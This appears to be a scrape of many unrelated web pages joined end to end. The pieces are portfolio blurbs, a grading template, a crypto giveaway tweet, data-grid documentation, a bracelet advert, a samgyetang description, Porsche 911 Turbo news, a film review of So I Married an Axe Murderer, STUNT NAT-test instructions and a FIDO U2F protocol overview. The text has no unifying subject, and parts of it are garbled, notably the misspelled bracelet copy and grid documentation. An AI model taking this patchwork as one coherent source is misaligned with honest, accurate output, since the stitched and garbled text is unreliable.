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I'm currently studying Computer Information Systems and Technology as an undergraduate at Pitt.
University of Pittsburgh. #Panther
Education |
Employment |
Technical Skills |
Independent Investments |
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{% if is_grader and not session['is_lti_active'] or g.course.id != submission.course_id %}
Closed assignments prevent students from submitting.
| Grading | Score |
|---|---|
| Passed all autograder tests? | |
| Autograder submission score: | |
| General Feedback | Score Modifier |
| Line Feedback | Score Modifier |
| Total |
)


In anticipation for @KomodoPlatform rebrand 2.0, Antara Framework and @AtomicDex launch, I will be giving away 10 #KMD to 3 different people. All you have to do is follow, retweet like and tag a friend!
I will announce and DM the 3 winners on July 15th.
#crypto #giveaway


My Projects
Brain Teaser Game
In this project, I built a game using predominantly JavaScript, with HTML and CSS. Random numbers appear which must be clicked in the correct order to progress to the next level to earn as many points as you can within the time limit.
Aptitude Test Project
In this project, we added new features to an already existing legacy code base, this involved interacting with an API using JavaScript.
Project 3
Info about the project, this is where I will briefly describe what skills and languages I used to complete the project and advise them to click the button for more information
Project 4
Info about the project, this is where I will briefly describe what skills and languages I used to complete the project and advise them to click the button for more information


--- layout: default category: course author: Charles Brown-Roberts title: Web Development Courses meta: tags: courses ---
Improve your skills and make more money!


Joe at CodingPhase inspired me to build this MVP.
It's a monitized microservice for those interested in Crypto currencies.
While enroled in The Web Developer Bootcamp I built YelpCamp. I learned a ton during production and took pride in extending the features beyond initial deployment.
Personal budget app for tracking monthly expenses.
Simple and elegent. Works like a todo app with more math:)
This was a challenge from freeCodeCamp's curriculum.
I was asked to recreat the classic handheld game Simon.
As a FrontEnd Dev I love to dive into the acronyms that might scare others away. HTML5, CSS3, JavaScript, jQuery, NPM, SEO, GIT and more. These are my tools to solve problems and get work done. The only thing I find more enjoyable than the solutions us developers build and deliver, is the toys we get to play with.
Recently, I have been motivated to break behind the curtain and take the reigns from our database overlords. I built a CRUD app some time ago just to see what it takes and I haven't looked back.
As my BackEnd skills continue to increase, so does my understanding of FrontEnd's strengths and limitations. Every day the power of the web expands. The technologies and the methodologies that power the future are evolving and I will be right there.


Indicates if column vertical scsoll (virtualization) is enabled.
Boolean, default = false
This property only applies if your grid has many colunns. By default column virtualization is abled, menaing only columns
in the view will be rendeder in DOM. This is somewhat experimental feature. If you do not have large number of columns, it
might be better to set .disableCVS to true.
This property can be set during object creation:
Or any time during run-time:


Alex's Blog
Week1 Blog post
1-3-16
What are the benefits of version control? The main benefits of version control are so you can track changes big and small. You can track a change from version 1.0 to 2.0 or you can track a simple spelling error change. By tracking the changes you can research bugs and also roll back the software if there is an issue with an update you have made.
How does git help you keep track of changes? The biggest help is that git does a lot of the work for you. When you change a file, you can use git to compare the old and new versions. Git will take the changes and create a entry for github. By forcing people to submit through git, you will make sure you get at least what changed. Prior to version control, when people updated a file, they would have to make a note on what they changed...but most people would not do any documentation on changes, so researching bugs was much harder than today.
Why use GitHub to store your code? GitHub will centralize your code so many devlopers can use it from many locations. By having your code centralized, you can make sure everyone has access to the latest code. This allows anyone from any location to do code reviews.


| 2 December 2019 | App logo here |
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| Welcome [Username] | Click here to personalise settings - font/colour etc |
No of tasks remaining: 10
| Most urgent task and all the endless bits of info relating to that task would have to go in here bla bla bla. Need a way of showing only the first 15? words of task text and then when you hover over you see the rest? | |||||
| Second most urgent task | |||||
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| Task to be done at some time or other |


The documents provided have been approved.
These documents have been reviewed and rejected. We have returned them to the Project Manager.
10294856: Novel bioreactor design for fermentation of syngas to industrially relevant chemicals
- Aptrans Ltd
- Biotech Corp
- University of Cardiff
Dave Normen
<EMAIL_ADDRESS>0114 2664569
Collaboration agreement
Collaboration Agreement 2016-04-28a.PDFExploitation plan
Exploitation Plan 2016-04-28a.PDFReview documents
Please review the content of the documents to ensure they meet Innovate UK's requirements.
Accept documents Reject documents


This bracelet is an ultimate expression of romance.
With the enhanced technical mastery,
it represents everlasting appleal and match all special.
Theses is Braslets's Gifts : ligth pinky stylio
This bracelet is an ultimate expression of romance.
With the enhanced technical mastery, width pinky
There represents everlasting appleal and can all special..
These is Braslets'Gifts : marvelous bracelet
This marvelous bracelet cast from fine quality Brass
beads gives it an ethnic appeal.
Traditionally designed handcrafted to display fine shine.
These is raslets's Gifts:
The SoS Braslet
This bracelet is an ultimate expression of romance.
With the enhanced technical mastery,
it represents everlasting appleal and can match all special.


| gtable_add_grob {gtable} | R Documentation |
This only adds grobs into the table - it doesn't affect the table in any way. In the gtable model, grobs always fill up the complete table cell. If you want custom justification you might need to
gtable_add_grob(x, grobs, t, l, b = t, r = l, z = Inf, clip = "on", name = x$name)
x |
a |
grobs |
a single grob or a list of grobs |
t |
a numeric vector giving the top extent of the grobs |
l |
a numeric vector giving the left extent of the grobs |
b |
a numeric vector giving the bottom extent of the grobs |
r |
a numeric vector giving the right extent of the grobs |
z |
a numeric vector giving the order in which the grobs should be
plotted. Use |
clip |
should drawing be clipped to the specified cells
( |
name |
name of the grob - used to modify the grob name before it's plotted. |


Running STUNT on Windows
- Download and install WinPcap from winpcap.polito.it. (mirror)
- Download the client archive
stunt-0.1.zip
and unzip it onto your desktop. - Run
run.bat
to start the test. If your firewall pops up a warning about network usage, please unblock STUNT so it may use the network. You will need to restart STUNT after unblocking it. - If you encounter any errors, check the FAQ for possible solutions or email<EMAIL_ADDRESS>Running STUNT on Linux
- Install
libpcap
using your distribution's package manager. - Download the client archive
stunt-0.1.tar.bz2
and untar it. - Run
run.sh
to start the test. - If you encounter any errors, check the FAQ for possible solutions or email<EMAIL_ADDRESS>The test will take around 3 hours to complete executing and will quietly run in the background without interfering with other processes. After it terminates, it will present the option of submitting your NAT's fingerprint for our analysis; we request that you choose to do so. It will then open a web browser to the submission website where you will be asked for your NATs brand, model and firmware number, and your email address so we may contact you in case we have further questions about your NAT. After running the test and submitting the results, you may delete the client software.
Compiling STUNT on Windows
- Download and unzip the WinPcap developers pack from winpcap.polito.it.
- Download the client source archive
stunt-0.1-src.zip
and unzip it. - Open the
stunt.sln
solution in Visual Studio .NET - Change the additional include directories and additional linker directories to where the WinPcap include and library files reside.
- Compile the solution to generate
stunt.exe
Compiling STUNT on Linux
- Install
libpcap
using your distribution's package manager. - Download the client
source archive
stunt-0.1-src.tar.bz2
and untar it. - Change into the
stunt
directory and runmake
to build the clientstunt
- To build the server, install
iptables-devel
or development libraries that containlibiptc.a
andlibipq.a
. Runmake stuntd
to build the serverstuntd


Energetic Future Survey Form
Already right now, we need to change the way we use our resources and where we get our energy from. Are you interested in the enviroment? Take this short survey and help us learn more about people's mentality around energy types.


SAMGYETANG
Samgyetang (ginseng chicken soup) is a nourishing soup that’s made with a small, young chicken for its tender and tasty meat. The ginseng flavored meat is tasty and tender, and the broth is rich and delicious! This boiling hot ginseng chicken soup, called samgyetang (???), is an iconic summer dish in Korea. Sam(?) refers to ginseng (insam, ??), gye (?) means chicken, and tang (?) is soup. It’s extremely popular as a nourishing food which helps fight the summer heat.
As the Korean saying goes, eating the hot soup is “fighting the heat with heat.” On sambok(??) days, it’s a Korean tradition to eat foods that are healthy and restorative. Samgyetang is a popular choice. Sambok days are 3 distinct days that mark the hottest summer period. Based on the lunar calendar, they are chobok(??, beginning),jungbok(??, middle) andmalbok(??, end). Tomorrow is malbok, which means the summer is winding down!
Hope you get to enjoy samgyetang before the summer goes by. But, don’t worry about it even if you don’t get to, this ginseng soup is a nutritious, comfort food which you can enjoy all year around! Here’s everything you need to know about Korean ginseng chicken soup!


cppreference.com
> Links
Links
Here are some links to other language references:
C++ (Dinkumware)
C++ Language and Library
Java 6 SE (Sun)
MySQL
Perl
Python
Ruby
Tcl
Visual C++ STL (Microsoft)


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Porsche Shows Prototypes Of The New 911 Turbo
With a special appearance by Joerg Bergmeister and a Turbo Cabriolet.
by Jacob OlivaIt has been almost a year since Porsche has brought us its iconic 992-generation 911 Carrera and Carrera S but until now, we have yet to see its more powerful versions. Its development is underway, that's for sure, and Porsche wants to remind us all that it is indeed working on bringing us a 911 Turbo.
Gallery: 992 Porsche 911 Turbo Prototypes (From Instagram)
In an Instagram post by Porsche this week, the Stuttgart-based automaker showcased several prototypes of the 992 Porsche 911 Turbo in a set of three images. The photos were from a development drive in Nice, France, which featured several 911 Turbo prototypes. One of the images even showed Joerg Bergmeister striking a pose in what appears to be a new 911 Turbo Cabriolet.
There are a handful of details about the new 992-generation 911 Turbo at this point. A previous report said that the higher 911s will debut next spring. It has been reported that the 992 Turbo S will be powered by Porsche’s twin-turbocharged 3.8-liter flat-six engine. This engine could make 641 horsepower (477 kilowatts) and 590 pound-feet (799 Newton-meters) of torque, but those numbers are still not confirmed for now. What we know is that the Turbo versions should make above 600 hp (447 kW).
We've Seen The New 911 Turbo Countless Times In Several Spy Shots And Videos:
Performance figures include a zero to 60 miles per hour (96 kilometers per hour) time of 2.5 seconds, which is a hair quicker than the outgoing generation. The 911 Turbo's top speed is also reported to be 205 mph (329 kph).
The new 911 Turbo is also said to come with all-wheel drive as standard, as well as an eight-speed dual-clutch automatic gearbox to send all those power quickly. It's also reported that it will come with rear-wheel steering and Porsche’s Active Suspension Management.
Source: Porsche via Instagram


Hexed is a web-browser game that randomly generates a color swatch for players to guess the R, G, and B color code in hexidecimal.
Wanna see how many guesses it takes you to find out the closest RGB value of a color? Try it out!


SO I MARRIED AN AXE MURDERER A film review by David N. Butterworth Copyright 1993 David N. Butterworth/The Summer Pennsylvanian
After suffering through Mel Brooks' latest atrocity, ROBIN HOOD: MEN IN TIGHTS--quite possibly the worst film I've seen In My Entire Life--the idea of stomaching a second supposed "comedy" two nights in a row didn't exactly thrill me to the gills. The ominously awful-sounding SO I MARRIED AN AXE MURDERER was the movie in question.
But oh what a pleasant surprise. Everything, I suppose, is relative.
Not only is the film funny, sometimes side-splittingly so, but it's also very well made, with unexpected moments of real tension and tenderness in and amongst the comedy. For a movie that promises to mix marriage and murder, there isn't a mean moment in this melange. Kudos to director Thomas Schlamme, writer Robbie Fox, and to a stellar comedic cast that includes Mike Myers, Nancy Travis, Anthony LaPaglia, Brenda Fricker, and ... er, Mike Myers.
Set in the heart of San Francisco, SO I MARRIED AN AXE MURDERER tells the story of Charlie Mackenzie, a happenin' bachelor who performs his unique brand of beat poetry in a retro-chic coffeehouse. By "unique" I mean bad. Charlie, it seems, has yet to meet the perfect girl. Afraid of commitment, he's dumped each of his previous girlfriends for less than perfect reasons ("She smelled like soup," for example). Or so he tells his buddy Tony, an underappreciated cop played by Anthony LaPaglia. LaPaglia is cute and cuddly in this movie, and shares some great moments with his police captain boss (an unbilled, amusing cameo by Alan Arkin).
But when Charlie meets Harriet (Nancy Travis), who works at a butcher shop called "Meats of the World," it's love at first sight. He's smitten--"full of smit" as he calls it. The couple share a funny meat montage together, replete with missing limb gags and ALIEN-style chest-bursting humor. However, evidence soon begins to mount that instead of finding Ms. Right, Charlie might well have stumbled upon Mrs. X, whom the tabloids call "The Honeymoon Killer." Mrs. X has the tendency to slice and dice her husbands on their wedding night and Harriet, after all, is quite adept at wielding the necessary paraphernalia. Needless to say all this makes Charlie more than a wee bit paranoid.
Among the film's funniest scenes are those in the Mackenzie household. Brenda Fricker plays Charlie's over-friendly mother May and her flexibility as an actress is astonishing, especially when you compare this character to her dramatic, Oscar-winning role in MY LEFT FOOT. Mike Myers serves double duty in the film, playing Charlie's overly Scottish father, Stuart. If anything, he's funnier as Dad than he is as Charlie, continually yelling at his younger son (whom he calls "Head" on account of the boy's disproportionately large hairdo) with a brogue that's spot on. Wearing heavy makeup and thick-lensed glasses, Myers' Stuart is an armchair-ridden, McKewan's lager guzzling caricature of hysterical proportions. And his bagpipe-backed rendition of Rod Stewart's "Do Ya Think I'm Sexy" is almost as funny as the Bay City Rollers music that thunders from the Mackenzie homestead.
With the exception of Arkin's, many of the film's cameos (by the likes of Phil Hartman, Michael Richards, Stephen Wright and Charles Grodin) are distracting, but otherwise the film maintains an even keel.  It's not too much of a challenge figuring out the film's ending, but in "So I Married an Axe Murderer," the accent is more on comedy than mystery, so don't let that fact spoil your enjoyment of an otherwise entertaining film.
From its frothy Cappuccino-Cam(R) opening to its dramatic rooftop conclusion, SO I MARRIED AN AXE MURDERER is a surprisingly fun night at the movies, buoyed along by a smattering of WDRE hits on the soundtrack, picturesque views of the San Francisco Bay area, and consistently droll injections of humor. It's a goofy comedy/thriller with an edge.
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: page title: "Developing Backbone.js Applications" prev: OEBPS/ch05s05.html next: OEBPS/ch07.html book_path: books/developing-backbone-js-applications-addy-osmani--_oeb/ --- {% include JB/setup %} {% raw %}
Whilst we get with Backbone out of the box can be terribly useful, there are some equally beneficial add-ons that can help simplify our development process. These include:
In time, there will be tutorials in the book covering some of these resources but until then, please feel free to check them out.


--- lang: "en-us" layout: "default-en" title: "meem | CEO & Board of Directors" description: "Find out more about meem's management, and GIB's CEO and board members." social-audio: "" social-video: "" social-media: - tw-summary: "Find out more about meem's management, and GIB's CEO and board members." tw-title: "meem | CEO & Board of Directors" permalink: "/en/meem-ceo-board-en.html" alt_url: "/ar/meem-ceo-board-ar.html" sitemap: exclude: no ---


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If Mooltipass detects incorrect credential fields, you can specify correct fields by yourself. Just go to the page and click on the Mooltipass icon, select Select custom credential fields for this page.
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Copyright © 2013-2016 FIDO Alliance All Rights Reserved.
The FIDO U2F protocol enables relying parties to offer a strong cryptographic 2nd factor option for end user security. The relying party's dependence on passwords is reduced. The password can even be simplified to a 4-digit PIN. End users carry a single U2F device which works with any relying party supporting the protocol. The user gets the convenience of a single 'keychain' device and convenient security. This document is an overview of the U2F protocol and is a recommended first-read before reading detailed protocol documents.
This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current FIDO Alliance publications and the latest revision of this technical report can be found in the FIDO Alliance specifications index at https://www.fidoalliance.org/specifications/.
This document was published by the FIDO Alliance as a Review Draft. This document is intended to become a FIDO Alliance Proposed Standard. If you wish to make comments regarding this document, please Contact Us. All comments are welcome.
This is a Review Draft Specification and is not intended to be a basis for any implementations as the Specification may change. Permission is hereby granted to use the Specification solely for the purpose of reviewing the Specification. No rights are granted to prepare derivative works of this Specification. Entities seeking permission to reproduce portions of this Specification for other uses must contact the FIDO Alliance to determine whether an appropriate license for such use is available.
Implementation of certain elements of this Specification may require licenses under third party intellectual property rights, including without limitation, patent rights. The FIDO Alliance, Inc. and its Members and any other contributors to the Specification are not, and shall not be held, responsible in any manner for identifying or failing to identify any or all such third party intellectual property rights.

This document provides an overview of the FIDO Universal 2nd Factor (U2F). It is intended to be read before the reader reads the detailed protocol documents listed below. It is intended to give the reader context for reading the detailed documents. This document is intended as an interpretive aid - it is not normative.
After reading this overview, it is recommended that the reader go through the detailed protocol documents listed below in the order they are listed. That order starts the reader at the top layer which is the U2F API and progresses down to lower layers such as the transport framing to the U2F device.
FIDO U2F JavaScript API
FIDO U2F Raw Message Formats
FIDO U2F USB Framing of APDUs
FIDO U2F Application Isolation through Facet Identification
FIDO U2F Implementation Considerations
FIDO Security Reference
A glossary of terms used in the FIDO specifications is also available:
FIDO Glossary
These documents may all be found on the FIDO Alliance website at http://fidoalliance.org/specifications/download/
The FIDO Alliance mission is to change the nature of online strong authentication by:
Developing technical specifications defining open, scalable, interoperable mechanisms that supplant reliance on passwords to securely authenticate users of online services.
Operating industry programs to help ensure successful worldwide adoption of the specifications.
Submitting mature technical specifications to recognized standards development organization(s) for formal standardization.
The core ideas driving the FIDO Alliance's efforts are 1) ease of use, 2) privacy and security, and 3) standardization. The primary objective is to enable online services and websites, whether on the open Internet or within enterprises, to leverage native security features of end-user computing devices for strong user authentication and to reduce the problems associated with creating and remembering many online credentials.
There are two key protocols included in the FIDO architecture that cater to two basic options for user experience when dealing with Internet services. The two protocols share many of underpinnings but are tuned to the specific intended use cases.
Universal 2nd Factor (U2F) Protocol
The U2F protocol allows online services to augment the security
of their existing password infrastructure by adding a strong
second factor to user login. The user logs in with a username
and password as before. The service can also prompt the user to
present a second factor device at any time it chooses. The
strong second factor allows the service to simplify its
passwords (e.g. 4-digit PIN) without compromising security.
During registration and authentication, the user presents the second factor by simply pressing a button on a USB device or tapping over NFC. The user can use their FIDO U2F device across all online services that support the protocol leveraging built-in support in web browsers.
This document that you are reading gives an overview of the U2F protocol.
Universal Authentication Framework (UAF) Protocol
The UAF protocol allows online services to offer password-less and multi-factor security. The user registers their device to the online service by selecting a local authentication mechanism such as swiping a finger, looking at the camera, speaking into the mic, entering a PIN, etc. The UAF protocol allows the service to select which mechanisms are presented to the user.
Once registered, the user simply repeats the local authentication action whenever they need to authenticate to the service. The user no longer needs to enter their password when authenticating from that device. UAF also allows experiences that combine multiple authentication mechanisms such as fingerprint + PIN.
Please refer to the FIDO website for an overview and documentation set focused on the UAF protocol.
The U2F eco-system is designed to provide strong authentication for users on the web while preserving the user's privacy. The user carries a 'U2F device' as a second factor.
When the user registers the U2F device at an account at a particular origin (such as http://www.company.com) the device creates a new key pair usable only at that origin and gives the origin the public key to associate with the account. When the user authenticates (i.e., logs in) to the origin, in addition to username and password, the origin (in this case, http://www.company.com) can check whether the user has the U2F device by verifying a signature created by the device.
The user is able to use the same device across multiple sites on the web - it thus serves as the user's physical web keychain with multiple (virtual) keys to various sites provisioned from one physical device. Using the open U2F standard, any origin will be able to use any browser (or OS) which has U2F support to talk to any U2F compliant device presented by the user to enable strong authentication.
The U2F device registration and authentication operations are exposed through JavaScript APIs built into the browser and, in following phases, native APIs in mobile OSes.
The U2F device can be embodied in various form factors, such as stand alone USB devices, stand alone Near Field Communication (NFC) device, stand alone Bluetooth LE devices, built-on-board the user's client machine/mobile device as pure software or utilizing secured crypto capabilities. It is strongly preferable to have hardware backed security, but it is not a requirement. However, as we shall see the protocol provides an attestation mechanism which allows the accepting online service or website to identify the class of device and either accept it or not depending on the particular site's policy.
The specs for U2F are in two layers. The upper layer specifies the cryptographic core of the protocol. The lower layer specifies how the user's client will communicate U2F cryptographic requests to the U2F device over a particular transport protocol (e.g., USB, NFC, Bluetooth LE, built-in on a particular OS, etc.).
The current spec set from the U2F group specifies the upper layer (which is unchanged regardless of transport) and the lower layer for the USB transport. Later phases of the protocol spec will specify transports for U2F over NFC, Bluetooth and when built-in (i.e., where the U2F capability is built into the device and accessed locally via the OS).
As one of the founders of the U2F working group in FIDO, Google is working to build U2F support into the Chrome browser and will offer U2F as a 2nd factor option on Google accounts to help the start-up of the open ecosystem.
A critical factor for success will be that a U2F device 'just works' with any modern client device owned by the user without needing additional driver or middleware setup. In this spirit, the USB U2F device is designed to work out of box with existing consumer operating systems with no driver installs or software changes. A U2F device-aware browser is able to discover and communicate with U2F devices using standard built-in OS APIs. To this end, in the first USB based deliverable, we are leveraging the built-in driverless libUSB device support in all modern OSes.
The U2F device and protocol need to guarantee user privacy and security. At the core of the protocol, the U2F device has a capability (ideally, embodied in a secure element) which mints an origin-specific public/private key pair. The U2F device gives the public key and a Key Handle to the origin online service or website during the user registration step.
Later, when the user performs an authentication, the origin online service or website sends the Key Handle back to the U2F device via the browser. The U2F device uses the Key Handle to identify the user's private key, and creates a signature which is sent back to the origin to verify the presence of the U2F device. Thus, the Key Handle is simply an identifier of a particular key on the U2F device.
The key pair created by the U2F device during registration is origin specific. During registration, the browser sends the U2F device a hash of the origin (combination of protocol, hostname and port). The U2F device returns a public key and a Key Handle. Very importantly, the U2F device encodes the requesting origin into the Key Handle.
Later, when the user attempts to authenticate, the server sends the user's Key Handle back to the browser. The browser sends this Key Handle and the hash of the origin which is requesting the authentication. The U2F device ensures that it had issued this Key Handle to that particular origin hash before performing any signing operation. If there is a mismatch no signature is returned.
This origin check ensures that the public keys and Key Handles issued by a U2F device to a particular online service or website cannot be exercised by a different online service or website (i.e., a site with a different name on a valid SSL certificate). This is a critical privacy property - assuming the browser is working as it should, a site can verify identity strongly with a user's U2F device only with a key which has been issued to that particular site by that particular U2F device. If this origin check was not present, a public key and Key Handle issued by a U2F device could be used as a 'supercookie' which allows multiple colluding sites to strongly verify and correlate a particular user's identity.
The U2F device device has a physical 'test of user presence'. The user touches a button (or sensor of some kind) to 'activate' the U2F device and this feeds into the device's operation as follows:
Registration: The U2F device responds to a request to generate a key pair only if it has been 'activated'. Separately, the browser implementation might ensure that the javascript 'ask the U2F device to issue a key pair' call always results in the user seeing an infobar dialog which asks if he/she indeed wants to allow the current site to register the U2F device.
Authentication: During authentication, the browser sends some data down to the U2F device that it needs to sign (more about this later). The U2F device needs to see a 'test of user presence' before it will sign - e.g., the user has to press a button on the device. This ensures that a signature happens only with the user's permission. It also ensures that that malware cannot exercise the signature when the user is not present.
When the user attempts to authenticate for the first time to a particular origin (i.e. the javascript call for 'Get me a signature from the U2F device' is exercised), the browser may put up an infobar which asks if the user would like to allow the site to talk to the U2F device. In this case, the browser should also present a 'Remember this' option with the infobar so that the browser can remember the permission and not ask every time. This setting can be reset (as with other browser settings).
In summary, the user will have to touch a button to register, and may also be warned by the browser. The relying party can put up screens which will walk the user through these steps. Registration is a very high value operation - it gives an origin a capability to very strongly verify a user and it needs to be taken very seriously. During authentication (or more generally, whenever the online service or website needs to strongly verify the user by requesting a signature), the user needs to activate the device to demonstrate user presence before the signature can happen.
If a man-in-the-middle (MITM) tries to intermediate between the user and the origin during the authentication process, the U2F device protocol can detect it in most situations.
Say a user has correctly registered a U2F device with an origin and later, a MITM on a different origin tries to intermediate the authentication. In this case, the user's U2F device won't even respond, since the MITM's (different) origin name will not match the Key Handle that the MITM is relaying from the actual origin. U2F can also be leveraged to detect more sophisticated MITM situations as we shall see below.
As one of the return values of the U2F 'sign' call, the browser returns an object which contains information about what the browser sees about the origin (we will call this the 'client data' object). This 'client data' includes:
The browser sends a hash of this 'client data' to the U2F device. In addition to the hash of the 'client data', as discussed earlier, the browser sends the hash of the origin and the Key Handle as additional inputs to the U2F device.
When the U2F device receives the client data hash, the origin hash and the Key Handle it proceeds as follows: If it had indeed issued that Key Handle for that origin the U2F device proceeds to issue a signature across the hashed 'client data' which were sent to it. This signature is returned back as another return value of the U2F 'sign' call.
The site's web page which made the U2F 'sign' call sends the return values, both the 'client data' and the signature, back to the origin site (or equivalently, relying party). On receiving the 'client data' and the signature, the relying party's first step, of course, is to verify that the signature matches the data as verified by the user's origin-specific public key. Assuming this matches, the relying party can examine the 'client data' further to see if any MITM is present as follows:
If 'client data' shows that an incorrect origin name was seen by the user
It is still possible to MITM a user's authentication to a site if the MITM is
But this is quite a high bar.
An MITM case which the U2F device does NOT protect against is as follows: Consider an online service or website which accepts plain password but allows users to self-register and step up to U2F 2nd factor. An MITM with a different origin which is present between the user and the actual site from the time of registration can register the U2F device on to itself and not pass this registration to the actual origin, which would still see the user as just needing a password. Later, for authentications, the MITM can accept the U2F device and just do an authentication with password to the actual origin.
Assuming the user does not notice the wrong (different) origin in the URL, the user would think they are logging in to the actual origin with strong authentication and are thus very secure but in reality, they are actually being MITMed.
A key goal of this program is to enable extremely inexpensive yet secure devices. To enable new secure element chips to be as inexpensive as possible it is important to allow them to have minimal or no onboard memory.
A U2F device allows for this. The Key Handle issued by the U2F device does not have to be an index to the private key stored on board the U2F device secure element chip. Instead, the Key Handle can 'store' (i.e., contain) the private key for the origin and the hash of the origin encrypted with a 'wrapping' key known only to the U2F device secure element. When the Key Handle goes back to the secure element it 'unwraps' it to 'retrieve' the private key and the origin that it was generated for.
As another alternative, the U2F device could store this 'wrapped' information in a table in off-chip memory outside the secure element (which is presumably cheaper). This memory is still on board the U2F device. In this case, the Key Handle sent to the origin would be an index into this table in off-chip memory. As another possibility in the design spectrum, the Key Handle might only encode the origin and an index number, while the private key might still be kept on board - this would, of course, imply the number of keys is limited by the amount of memory.
The U2F device protocol is open. However, for effective security, a U2F device has to be built to certain standards - for example, if the Key Handle contains private keys encrypted with some manufacturer specific method, this has to be certified as well implemented, ideally by some 'certification body' such as FIDO. In addition, the actual cryptographic engine (secure element) should ideally have some strong security properties.
With these considerations in mind, a relying party needs to able to identify the type of device it is speaking to in a strong way so that it can check against a database to see if that device type has the certification characteristics that particular relying party cares about. So, for example, a financial services site may choose to only accept hardware-backed U2F devices, while some other site may allow U2F devices implemented in software.
Every U2F device has a shared 'Attestation' key pair which is present on it - this key is shared across a large number of U2F device units made by the same vendor (this is to prevent individual identifiability of the U2F device). Every public key output by the U2F device during the registration step is signed with the attestation private key.
The intention is that the public keys of all the 'Attestation' key pairs used by each vendor will be available in the public domain - this could be implemented by certificates chaining to a root public key or literally as a list. We will work within FIDO to decide the details on how certified vendors can publish their attestation public keys.
When such an infrastructure is available, a particular relying party - say, a bank - might choose to accept only U2F devices from certain vendors which have the appropriate published certifications. To enforce this policy, it can verify that the public key from a U2F device presented by the user is from a vendor it trusts.
In practice, for high quality U2F devices we expect that the attestation key would be burnt into the on-board secure element - the actual key to be burnt in would be provided by the vendor to the secure element manufacturer for every batch of chips, say about 100,000 units.
Note that the attestation key's presence only guarantees who the vendor is for a well built U2F device - it is one part of the story, albeit a very crucial part. As to whether the U2F device is indeed secure, that guarantee comes from certifications where third parties inspect the implementation by the vendor. In summary, attestation is a strong identifier of the certifications.
In this context, it's worth noting that a U2F device which stores keys on board rather than exporting them in the Key Handle are, in principle, most secure, since it is not vulnerable to any potential vendor specific vulnerabilities in the design of the encryption of the data in the Key Handle. However, a good design with an encrypted Key Handle will be well above the bar in security while also being cheaper.
At this time, the encryption used to embed private keys in the Key Handle are technically not part of the specified protocol. However, strong best practice guidelines are specified in the sample client side javacard applet available in U2F working group materials. It may be appropriate to include a review of particular implementations as part of a U2F certification within FIDO.
Note that it is still possible for a vendor to build a U2F compliant device which is not certified and whose attestation keys are not published in a 'certification database'. A relying party could still choose to accept such devices - but it will do so with the full knowledge that that particular device type is not in the certification database.
The vendor attestation is one method by which an origin can assess a U2F device. In practice, we do not want to prevent other protocol compliant vendors, perhaps even those without any formal secure element, perhaps even completely software implementations. The problem with these non-secure-element based devices, of course, is that they could potentially be compromised and cloned.
The U2F device protocol incorporates a usage counter to allow the origin to detect problems in some circumstances. The U2F device remembers a count of the number of signature operations it has performed - either per key pair (if it has sufficient memory) or globally (if it has a memory constraint, this leaks some privacy across keys) or even something in between (e.g., buckets of keys sharing a counter, with a bit less privacy leakage). The U2F device sends the actual counter value back to the browser which relays it to the origin after every signing operation. The U2F device also concatenates the counter value on to the hash of the client data before signing so that the origin can strongly verify that the counter value was not tampered with (by the browser).
The server can compare the counter value that the U2F device sent it and compare it against the counter value it saw in earlier interactions with the same U2F device. If the counter value has moved backward, it signals that there is more than one U2F device with the same key pair for the origin (i.e., a clone of the U2F device has been created at some point).
The counter is a strong signal of cloning but cannot detect cloning in every case - for example, if the clone is only one which is used after the cloning operation and the original is never used, this case cannot be detected.
As long as U2F devices can be accessed directly from user space on the client OS, it is possible for malware to create a keypair using a fake origin and exercise the U2F device. The U2F device will not be able to distinguish 'good' client software from 'bad' client software. On a similar note, it is possible for malware to relay requests from Client machine #1 to a U2F device attached to client machine #2 if the malware is running on both machines. This is conceptually no different from a shared communication channel between the Client machine (in this case #1) and the U2F device (which happens to be on machine #2). It is not in scope to protect against this situation.
Protection against malware becomes more possible if the U2F client is built into the OS system layer as opposed to running in user space. The OS can obtain exclusive access to U2F devices and enforce methods to ensure origin matches.
As described earlier access to the U2F device is manifested in two javascript functions available in the browser - one for creating a key pair and one for generating a signature. These are used by an origin online service or website to create a user flow.
The to-be-registered user is verified by the origin site (with username and password or whatever other means). The registration page rendered by the origin in the browser calls the javascript function for creating a key pair. When the javascript function is called, the user may see a browser infobar warning which he/she has to approve. After user approval, the key pair generation request is sent to every U2F device attached to the computer.
The first U2F device attached to the computer which has a positive 'test of user presence' (i.e., the first attached U2F device on which the user presses the button) responds to this request. The browser packages the response from the U2F device (key handle, public key, etc.) and returns it to the web page as return results of the javascript function call. The registration web page sends these to the origin site and the origin sites stores this information indexed by the user's account to complete the registration process.
The user starts the authentication process typically with username and password (or with just the username, if the site only wants a U2F device verification). The origin site renders an intermediate authentication page into which it sends the user's Key Handle and a nonce. It then calls the javascript function to create a signature. The parameters for the function call are the Key Handle and the nonce.
When the signature function is called, the browser may show an infobar asking for the user's approval (the user may choose to ask the browser to skip this in future). After the user's approval, the browser talks to all the U2F devices attached to the computer as described earlier and assembles their responses.
The javascript function call returns the 'client data' object and the first signature response from a U2F device that replied. The intermediate authentication web page sends the 'client data' and the U2F device responses on to the relying party, which determines if any of the signatures matches what it expects.
Note that depending on the U2F implementation multiple devices could reply for a particular Key Handle. For example, consider the case where the Key Handle is implemented purely as an index into memory on board the U2F device (and thus was just, say, a small integer). The user may have registered multiple U2F devices to a particular account on a particular origin and some of those devices could have used the same index integer as Key Handle for that particular account on that particular origin.
Note that though the user does not necessarily have to see the intermediate page described above. If the correct U2F device is present, then the signatures can be obtained and sent back to the origin and the authentication is completed. The user needs to see intermediate screens only for error conditions ('Please insert your U2F device', 'We require you to activate your U2F device', etc.).
Though the description so far has been in context of a particular user using a single device across multiple accounts, the usage scenarios enabled are broader.
U2F does not limit the user to have a single device registered on a particular account on a particular site. So for example, a user might have a U2F device mounted permanently on two different computers, where each U2F device is registered to the same account on a particular origin - thus allowing both computers to login securely to that particular origin.
If a user has registered multiple U2F devices to a particular account, then during authentication all the Key Handles are sent by the origin to the intermediate page. The intermediate page call the signature javascript function with the array of Key Handles and sends the aggregated response back to the origin. Each attached activated U2F device signs for those Key Handles in the array that it recognizes. The user authentication experience is unchanged.
